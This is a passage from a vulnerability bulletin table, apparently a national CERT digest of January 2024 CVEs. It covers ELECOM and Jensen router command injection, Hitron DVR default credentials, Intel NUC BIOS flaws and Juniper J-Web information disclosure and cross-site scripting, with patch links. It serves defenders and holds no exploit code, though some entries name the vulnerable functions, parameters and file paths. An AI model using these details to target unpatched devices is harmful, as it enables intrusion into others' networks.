Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			/bin/webs binary in Edimax BR6478AC V2 firmware veraion v1.23 allows attackers to overwrite other values located on the stack due to an incorrect use of the strcpy() function. **CVE ID : CVE-2023-49351**		
Vendor: elecom					
Product: wrc-x1800gs-b					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	OS command injection vulnerability in ELECOM wireless LAN routers allows a network-adjacent attacker with an administrative privilege to execute arbitrary OS commands by sending a specially crafted request to the product. Affected products and versions are as follows: WRC-X1800GS-B v1.17 and earlier, WRC-X1800GSA-B v1.17 and earlier, WRC-X1800GSH-B v1.17 and earlier, WRC-X6000XS-G v1.09, and WRC-	https://www.elecom.co.jp/news/security/20240123-01/	H-ELE-WRC--090224/1508

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			X6000XST-G v1.12 and earlier. **CVE ID : CVE-2024-22372**		
Product: wrc-x1800gsa-b					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	OS command injection vulnerability in ELECOM wireless LAN routers allows a network-adjacent attacker with an administrative privilege to execute arbitrary OS commands by sending a specially crafted request to the product. Affected products and versions are as follows: WRC-X1800GS-B v1.17 and earlier, WRC-X1800GSA-B v1.17 and earlier, WRC-X1800GSH-B v1.17 and earlier, WRC-X6000XS-G v1.09, and WRC-X6000XST-G v1.12 and earlier. **CVE ID : CVE-2024-22372**	https://www.elecom.co.jp/news/security/20240123-01/	H-ELE-WRC--090224/1509
Product: wrc-x1800gsh-b					
Affected Version(s): -					
Improper Neutralization of Special	24-Jan-2024	6.8	OS command injection vulnerability in ELECOM wireless	https://www.elecom.co.jp/news/security/20240123-01/	H-ELE-WRC--090224/1510

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Elements used in an OS Command ('OS Command Injection')			LAN routers allows a network-adjacent attacker with an administrative privilege to execute arbitrary OS commands by sending a specially crafted request to the product. Affected products and versions are as follows: WRC-X1800GS-B v1.17 and earlier, WRC-X1800GSA-B v1.17 and earlier, WRC-X1800GSH-B v1.17 and earlier, WRC-X6000XS-G v1.09, and WRC-X6000XST-G v1.12 and earlier. **CVE ID : CVE-2024-22372**		
Product: wrc-x6000xs-g					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	OS command injection vulnerability in ELECOM wireless LAN routers allows a network-adjacent attacker with an administrative privilege to execute arbitrary OS commands by sending a specially crafted request to the product. Affected products and versions are as	https://www.elecom.co.jp/news/security/20240123-01/	H-ELE-WRC--090224/1511

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			follows: WRC-X1800GS-B v1.17 and earlier, WRC-X1800GSA-B v1.17 and earlier, WRC-X1800GSH-B v1.17 and earlier, WRC-X6000XS-G v1.09, and WRC-X6000XST-G v1.12 and earlier. **CVE ID : CVE-2024-22372**		
Product: wrc-x6000xst-g					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	24-Jan-2024	6.8	OS command injection vulnerability in ELECOM wireless LAN routers allows a network-adjacent attacker with an administrative privilege to execute arbitrary OS commands by sending a specially crafted request to the product. Affected products and versions are as follows: WRC-X1800GS-B v1.17 and earlier, WRC-X1800GSA-B v1.17 and earlier, WRC-X1800GSH-B v1.17 and earlier, WRC-X6000XS-G v1.09, and WRC-X6000XST-G v1.12 and earlier.	https://www.elecom.co.jp/news/security/20240123-01/	H-ELE-WRC--090224/1512

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-22372		
Vendor: hitron_systems					
Product: dvr_hvr-4781					
Affected Version(s): -					
Use of Hard-coded Credentials	23-Jan-2024	7.5	Improper Input Validation in Hitron Systems DVR HVR-4781 1.03~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW. **CVE ID : CVE-2024-22768**	http://www.hitron.co.kr/firmware/	H-HIT-DVR_-090224/1513
Use of Hard-coded Credentials	23-Jan-2024	7.5	Improper Input Validation in Hitron Systems DVR HVR-8781 1.03~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW. **CVE ID : CVE-2024-22769**	http://www.hitron.co.kr/firmware/	H-HIT-DVR_-090224/1514
Use of Hard-coded Credentials	23-Jan-2024	7.5	Improper Input Validation in Hitron Systems DVR HVR-16781 1.03~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW.	http://www.hitron.co.kr/firmware/	H-HIT-DVR_-090224/1515

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-22770		
Use of Hard-coded Credentials	23-Jan-2024	7.5	Improper Input Validation in Hitron Systems DVR LGUVR-4H 1.02~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW. **CVE ID : CVE-2024-22771**	http://www.hitron.co.kr/firmware/	H-HIT-DVR_-090224/1516
Use of Hard-coded Credentials	23-Jan-2024	7.5	Improper Input Validation in Hitron Systems DVR LGUVR-8H 1.02~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW. **CVE ID : CVE-2024-22772**	http://www.hitron.co.kr/firmware/	H-HIT-DVR_-090224/1517
Use of Hard-coded Credentials	23-Jan-2024	7.5	Improper Input Validation in Hitron Systems DVR LGUVR-16H 1.02~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW. **CVE ID : CVE-2024-23842**	http://www.hitron.co.kr/firmware/	H-HIT-DVR_-090224/1518
Vendor: Intel					
Product: nuc_7_essential_nuc7cjysal					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	19-Jan-2024	7.8	Improper buffer restrictions in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-42429**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1519
Product: nuc_7_essential_nuc7cjysamn					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28738**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	H-INT-NUC_-090224/1520
N/A	19-Jan-2024	7.8	Improper buffer restrictions in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-42429**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1521
Product: nuc_8_compute_element_cm8v5cb					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC 8 Compute Element BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-42766**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1522
Product: nuc_8_compute_element_cm8v7cb					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC 8 Compute Element BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-42766**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1523
Product: nuc_8_enthusiast_nuc8i7behga					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1524
Product: nuc_8_enthusiast_nuc8i7bekqa					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1525
Product: nuc_8_home_nuc8i3behfa					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1526
Product: nuc_8_home_nuc8i5behfa					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1527
Product: nuc_8_home_nuc8i5bekpa					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1528
Product: nuc_8_mainstream-g_kit_nuc8i5inh					
Affected Version(s): -					
N/A	19-Jan-2024	7.8	Improper buffer restrictions for some Intel NUC BIOS firmware before version IN0048 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28722**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	H-INT-NUC_-090224/1529
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version IN0048 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-29495**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	H-INT-NUC_-090224/1530
Product: nuc_8_mainstream-g_kit_nuc8i7inh					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	19-Jan-2024	7.8	Improper buffer restrictions for some Intel NUC BIOS firmware before version IN0048 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28722**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	H-INT-NUC_-090224/1531
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version IN0048 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-29495**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	H-INT-NUC_-090224/1532
Product: nuc_9_pro_compute_element_nuc9v7qnb					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version QN0073 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28743**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	H-INT-NUC_-090224/1533

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: nuc_9_pro_compute_element_nuc9v7qnx					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version QN0073 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28743**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	H-INT-NUC_-090224/1534
Product: nuc_9_pro_kit_nuc9v7qnb					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version QN0073 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28743**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	H-INT-NUC_-090224/1535
Product: nuc_9_pro_kit_nuc9v7qnx					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version QN0073 may allow a privileged user to potentially enable escalation of	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	H-INT-NUC_-090224/1536

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			privilege via local access. **CVE ID : CVE-2023-28743**		
Product: nuc_kit_nuc7cjyh					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28738**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	H-INT-NUC_-090224/1537
N/A	19-Jan-2024	7.8	Improper buffer restrictions in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-42429**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1538
Product: nuc_kit_nuc7cjyhn					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a privileged user to potentially enable escalation of	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	H-INT-NUC_-090224/1539

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			privilege via local access. **CVE ID : CVE-2023-28738**		
N/A	19-Jan-2024	7.8	Improper buffer restrictions in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-42429**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1540
Product: nuc_kit_nuc7cjysal					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28738**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	H-INT-NUC_-090224/1541
Product: nuc_kit_nuc7pjyh					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a privileged user to potentially enable escalation of	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	H-INT-NUC_-090224/1542

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			privilege via local access. **CVE ID : CVE-2023-28738**		
N/A	19-Jan-2024	7.8	Improper buffer restrictions in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-42429**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1543
Product: nuc_kit_nuc7pjyhn					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-28738**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01009.html	H-INT-NUC_-090224/1544
N/A	19-Jan-2024	7.8	Improper buffer restrictions in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-42429**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1545

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: nuc_kit_nuc8i3beh					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1546
Product: nuc_kit_nuc8i3behs					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1547
Product: nuc_kit_nuc8i3bek					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1548
Product: nuc_kit_nuc8i5beh					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1549
Product: nuc_kit_nuc8i5behs					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1550
Product: nuc_kit_nuc8i5bek					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1551
Product: nuc_kit_nuc8i7beh					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1552
Product: nuc_kit_nuc8i7bek					
Affected Version(s): -					
Improper Input Validation	19-Jan-2024	7.8	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access. **CVE ID : CVE-2023-38587**	https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01028.html	H-INT-NUC_-090224/1553
Vendor: Jensenofscandinavia					
Product: eagle_1200ac					
Affected Version(s): -					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	22-Jan-2024	7.8	Jensen of Scandinavia Eagle 1200AC V15.03.06.33_en was discovered to contain a command injection vulnerability in the function formWriteFacMac. This vulnerability allows attackers to execute arbitrary commands via	N/A	H-JEN-EAGL-090224/1554

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			manipulation of the mac parameter. **CVE ID : CVE-2023-24135**		
Vendor: Juniper					
Product: ex2200					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the	https://support portal.juniper.net/JSA76390	H-JUN-EX22-090224/1555

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks	https://support portal.juniper.net/JSA76390	H-JUN-EX22-090224/1556

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex2200-c					
Affected Version(s): -					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information.	https://support portal.juniper.net/JSA76390	H-JUN-EX22-090224/1557

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8;	https://support portal.juniper.net/JSA76390	H-JUN-EX22-090224/1558

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex2200-vc					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper	https://support portal.juniper.net/JSA76390	H-JUN-EX22-090224/1559

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an	https://support portal.juniper.net/JSA76390	H-JUN-EX22-090224/1560

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex2300					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information.	https://support portal.juniper.net/JSA76390	H-JUN-EX23-090224/1561

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions,	https://support portal.juniper.net/JSA76390	H-JUN-EX23-090224/1562

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2;		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Product: ex2300-24mp					
Affected Version(s): -					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information. When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then	https://support portal.juniper.net/JSA76390	H-JUN-EX23-090224/1563

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives.	https://support portal.juniper.net/JSA76390	H-JUN-EX23-090224/1564

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
